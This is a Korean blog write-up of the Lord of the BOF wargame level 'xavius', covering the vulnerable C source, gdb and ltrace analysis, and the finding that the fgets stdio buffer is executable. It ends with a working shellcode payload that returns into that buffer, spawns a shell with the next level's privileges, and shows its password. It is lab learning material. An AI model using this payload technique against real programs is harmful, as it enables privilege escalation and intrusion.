xavius.c 를 열어보았다.
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n"); // ret에 스택상의 주소를 쓸 수 없음
exit(0);
}
if(*(buffer+47) == '\x08') // 가젯 사용 불가능
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
일단 while문 안에 내용이 궁금하여 leave ret 코드가 있는 곳을 들여다 보았다.
0x8048829 <main+277>: leave
0x804882a <main+278>: ret
0x804882b <main+279>: nop
0x804882c <main+280>: nop
0x804882d <main+281>: nop
0x804882e <main+282>: nop
0x804882f <main+283>: nop
End of assembler dump.
(gdb) x/x 0x804882a
0x804882a <main+278>: 0x909090c3
(gdb) x/x0x8048829
0x8048829 <main+277>: 0x9090c3c9
(gdb)
아~ ret의 값에 \xc9, \xc3 이 나오면 안된다는 말이다.
leave-ret 이 오면 안된다는 말인데.. 그럼 함수를 사용하지 못하는 것이다.
라이브러리 함수들은 모두 leave-ret 이 있으니.
또한 스택 파괴자도 있다.
ret자리 빼고 다 0으로 바꿔버린다.
그리고 ld_preload도 사용 불가능..
솔직히 처음 보고 정말 답이 없었다... 어떻게 해야하는 건지;;
일단 한가지 알 수 있는건 0x00400000대 주소는 사용이 가능하다는거.
난 몰라서 검색해서 찾아봤다. 솔직히 내 머리론 유추해낼 수가 없었다.
fgets 의 임시버퍼를 이용해서 공격해보자.
이 함수는 표준입력을 받으면 임시버퍼에 저장을 해서 임시버퍼를 지우지 않는다고 한다.
그럼 임시버퍼의 위치를 추적해보자.
ltrace의 -S 옵션으로 알아보자. (시스템콜 추적)
[nightmare@localhost nightmare]$ ltrace -S ./xaviuz
SYS_brk(NULL) = 0x08049a58
SYS_mmap(0xbffff690, 1, 0x40013868, 4096, 556) = 0x40014000
SYS_open("/etc/ld.so.preload", 0, 010000234150) = -2
SYS_open("/etc/ld.so.cache", 0, 010000234150) = 3
SYS_fstat(3, 0xbffff4e0, 0x40013868, 0xbffff540, 3) = 0
SYS_mmap(0xbffff51c, 0xbffff4e0, 0x40013868, 0x400013d3, 3) = 0x40015000
SYS_close(3) = 0
SYS_open("/lib/libc.so.6", 0, 010000234150) = 3
SYS_fstat(3, 0xbffff438, 0x400143d0, 0xbffff560, 3) = 0
SYS_read(3, "\177ELF\001\001\001", 4096) = 4096
SYS_mmap(0xbfffe3fc, 970752, 0x40013868, 0xbfffe414, 0xbffff5c8) = 0x40018000
SYS_mprotect(0x40105000, 30812, 0, 30812, 0x40105000) = 0
SYS_mmap(0xbfffe3fc, 16384, 0x40013868, 0x400143e0, 0xbffff5c8) = 0x40105000
SYS_mmap(0xbfffe3fc, 0, 0x40013868, 0x40109000, 0xbfffe42c) = 0x40109000
SYS_close(3) = 0
SYS_mprotect(0x40018000, 970752, 3, 0x400143e0, 0x40018088) = 0
SYS_mprotect(0x40018000, 970752, 5, 0x40018000, 5) = 0
SYS_munmap(0x40015000, 12210) = 0
SYS_personality(0) = 0
SYS_getpid() = 2370
__libc_start_main(0x08048714, 1, 0xbffffb54, 0x08048398, 0x0804885c <unfinished ...>
__register_frame_info(0x08049950, 0x08049a40, 0xbffffb14, 0x080483bd, 0x401081ec) = 0x40108d40
fgets( <unfinished ...>
SYS_197(0, 0xbffff984, 0x40108d60, 0x401068c0, 0) = -38
SYS_fstat(0, 0xbffff910, 0x40108d60, -1, 0) = 0
SYS_mmap(0xbffff960, 0xbffff984, 0x401081ec, 1024, 1) = 0x40015000
SYS_ioctl(0, 21505, 0xbffff8f8, 0xbffff930, 1) = 0
SYS_read(0,
"\n", 1024) = 1
<... fgets resumed> "\n", 256, 0x401068c0) = 0xbffffae0
printf("%s\n", "\n" <unfinished ...>
SYS_fstat(1, 0xbffff2b0, 0x40106820, 0x40106980, 1) = 0
SYS_mmap(0xbffff300, 0xbffff324, 0x401081ec, 1024, 1) = 0x40016000
SYS_ioctl(1, 21505, 0xbffff298, 0xbffff2d0, 1) = 0
SYS_write(1, "\n", 1
) = 1
SYS_write(1, "\n", 1
) = 1
<... printf resumed> ) = 2
memcpy(0xbffffadc, "\313\t\003@", 4) = 0xbffffadc
memcmp(0x400309cb, 0x08048902, 2, 0x400309cb, 0xbfff000a) = -1
memcmp(0x400309cc, 0x08048902, 2, 0x400309cc, 0xbfff000a) = 1
memcmp(0x400309cd, 0x08048902, 2, 0x400309cd, 0xbfff000a) = -1
memcmp(0x400309ce, 0x08048902, 2, 0x400309ce, 0xbfff000a) = 1
memcmp(0x400309cf, 0x08048902, 2, 0x400309cf, 0xbfff000a) = 1
memcmp(0x400309d0, 0x08048902, 2, 0x400309d0, 0xbfff000a) = 1
memcmp(0x400309d1, 0x08048902, 2, 0x400309d1, 0xbfff000a) = 0
memset(0xbffffae0, '\000', 44) = 0xbffffae0
memset(0xbffffb10, '\000', 1263) = 0xbffffb10
memset(0xbfffef28, '\000', 2960) = 0xbfffef28
__deregister_frame_info(0x08049950, 0xbffffaf0, 0x08048871, 0x401081ec, 0xbffffb04) = 0x08049a40
SYS_munmap(0x40016000, 4096) = 0
SYS_exit(-1073746136) = <void>
+++ exited (status 40) +++
0x40015000은 mmap의 리턴값으로 실제 fgets함수가 맵핑되는 곳이다.
저곳을 한번 들여다 보고 임시버퍼가 어딘지 확인해보자.
[nightmare@localhost nightmare]$ gdb -q xaviuz
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %ebp,%esp
0x8048717 <main+3>: sub %esp,44
0x804871a <main+6>: mov %eax,%ds:0x8049a3c
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push 0x100
0x8048725 <main+17>: lea %eax,[%ebp-40]
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
0x804872e <main+26>: add %esp,12
0x8048731 <main+29>: lea %eax,[%ebp-40]
0x8048734 <main+32>: push %eax
0x8048735 <main+33>: push 0x80488bb
0x804873a <main+38>: call 0x8048438 <printf>
0x804873f <main+43>: add %esp,8
0x8048742 <main+46>: cmp BYTE PTR [%ebp+7],0xbf
0x8048746 <main+50>: jne 0x8048760 <main+76>
0x8048748 <main+52>: push 0x80488bf
0x804874d <main+57>: call 0x8048438 <printf>
0x8048752 <main+62>: add %esp,4
0x8048755 <main+65>: push 0
0x8048757 <main+67>: call 0x8048458 <exit>
---Type <return> to continue, or q <return> to quit---
0x804875c <main+72>: add %esp,4
0x804875f <main+75>: nop
0x8048760 <main+76>: cmp BYTE PTR [%ebp+7],0x8
0x8048764 <main+80>: jne 0x8048780 <main+108>
0x8048766 <main+82>: push 0x80488e0
0x804876b <main+87>: call 0x8048438 <printf>
0x8048770 <main+92>: add %esp,4
0x8048773 <main+95>: push 0
0x8048775 <main+97>: call 0x8048458 <exit>
0x804877a <main+102>: add %esp,4
0x804877d <main+105>: lea %esi,[%esi]
0x8048780 <main+108>: push 4
0x8048782 <main+110>: lea %eax,[%ebp-40]
0x8048785 <main+113>: lea %edx,[%eax+44]
0x8048788 <main+116>: push %edx
0x8048789 <main+117>: lea %eax,[%ebp-44]
0x804878c <main+120>: push %eax
0x804878d <main+121>: call 0x8048448 <memcpy>
0x8048792 <main+126>: add %esp,12
0x8048795 <main+129>: push 2
0x8048797 <main+131>: push 0x8048902
0x804879c <main+136>: mov %eax,DWORD PTR [%ebp-44]
0x804879f <main+139>: push %eax
---Type <return> to continue, or q <return> to quit---
0x80487a0 <main+140>: call 0x8048418 <memcmp>
0x80487a5 <main+145>: add %esp,12
0x80487a8 <main+148>: mov %eax,%eax
0x80487aa <main+150>: test %eax,%eax
0x80487ac <main+152>: jne 0x80487b0 <main+156>
0x80487ae <main+154>: jmp 0x80487e0 <main+204>
0x80487b0 <main+156>: mov %eax,DWORD PTR [%ebp-44]
0x80487b3 <main+159>: cmp BYTE PTR [%eax],0xc9
0x80487b6 <main+162>: jne 0x80487d8 <main+196>
0x80487b8 <main+164>: mov %eax,DWORD PTR [%ebp-44]
0x80487bb <main+167>: inc %eax
0x80487bc <main+168>: cmp BYTE PTR [%eax],0xc3
0x80487bf <main+171>: jne 0x80487d8 <main+196>
0x80487c1 <main+173>: push 0x8048920
0x80487c6 <main+178>: call 0x8048438 <printf>
0x80487cb <main+183>: add %esp,4
0x80487ce <main+186>: push 0
0x80487d0 <main+188>: call 0x8048458 <exit>
0x80487d5 <main+193>: add %esp,4
0x80487d8 <main+196>: inc DWORD PTR [%ebp-44]
0x80487db <main+199>: jmp 0x8048795 <main+129>
0x80487dd <main+201>: lea %esi,[%esi]
0x80487e0 <main+204>: push 44
---Type <return> to continue, or q <return> to quit---
0x80487e2 <main+206>: push 0
0x80487e4 <main+208>: lea %eax,[%ebp-40]
0x80487e7 <main+211>: push %eax
0x80487e8 <main+212>: call 0x8048468 <memset>
0x80487ed <main+217>: add %esp,12
0x80487f0 <main+220>: lea %eax,[%ebp-40]
0x80487f3 <main+223>: mov %edx,0xbfffffcf
0x80487f8 <main+228>: mov %ecx,%edx
0x80487fa <main+230>: sub %ecx,%eax
0x80487fc <main+232>: mov %eax,%ecx
0x80487fe <main+234>: push %eax
0x80487ff <main+235>: push 0
0x8048801 <main+237>: lea %eax,[%ebp-40]
0x8048804 <main+240>: lea %edx,[%eax+48]
0x8048807 <main+243>: push %edx
0x8048808 <main+244>: call 0x8048468 <memset>
0x804880d <main+249>: add %esp,12
0x8048810 <main+252>: push 0xb90
0x8048815 <main+257>: push 0
0x8048817 <main+259>: lea %eax,[%ebp-40]
0x804881a <main+262>: lea %edx,[%eax-3000]
0x8048820 <main+268>: push %edx
0x8048821 <main+269>: call 0x8048468 <memset>
---Type <return> to continue, or q <return> to quit---
0x8048826 <main+274>: add %esp,12
0x8048829 <main+277>: leave
0x804882a <main+278>: ret
0x804882b <main+279>: nop
0x804882c <main+280>: nop
0x804882d <main+281>: nop
0x804882e <main+282>: nop
0x804882f <main+283>: nop
End of assembler dump.
(gdb) b *main+43
Breakpoint 1 at 0x804873f
(gdb) r
Starting program: /home/nightmare/xaviuz
Breakpoint 1, 0x804873f in main ()
(gdb)
(gdb) d
Delete all breakpoints? (y or n) y
(gdb)
(gdb) b *main+43
Breakpoint 2 at 0x804873f
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/nightmare/xaviuz
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x804873f in main ()
(gdb) x/40s 0x40015000
0x40015000: 'A' <repeats 34 times>, "\n"
0x40015024: ""
0x40015025: ""
0x40015026: ""
0x40015027: ""
0x40015028: ""
0x40015029: ""
0x4001502a: ""
0x4001502b: ""
0x4001502c: ""
0x4001502d: ""
0x4001502e: ""
0x4001502f: ""
0x40015030: ""
0x40015031: ""
0x40015032: ""
0x40015033: ""
0x40015034: ""
0x40015035: ""
0x40015036: ""
0x40015037: ""
0x40015038: ""
0x40015039: ""
예상대로 0x40015000 부분이 임시버퍼가 저장되는 곳이다.
그럼 셸코드를 이용한 페이로드를 구성할 수 있겠지.
ret에 마지막 주소가 00이 되면 안되기 때문에 페이로드에 nop을 주고
그쪽으로 ret를 준다. 버퍼가 얼마 안되므로.. 셸코드도 짧은걸 써야겠지
[nop 28] [shellcode 16] [ret]
[nightmare@localhost nightmare]$(perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x02\x50\x01\x40"';cat)| ./xavius
^[[B^[[B^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A
릱릱릱릱릱릱릱릱릱릱릱릱릱릱몽?P1픐멘?P홓@
erl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40
릱릱릱릱릱릱릱릱릱릱릱릱릱릱몽?P1픐멘?P홓@
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
Pwnable.kr - fd (0) | 2021.04.12 |
---|---|
LOB Level 20 (xavius) (0) | 2021.04.12 |
LOB Level 18 (succubus) (0) | 2021.04.12 |
LOB Level 17 (zombie_assassin) (0) | 2021.04.12 |
LOB Level 16 (assassin) (0) | 2021.04.12 |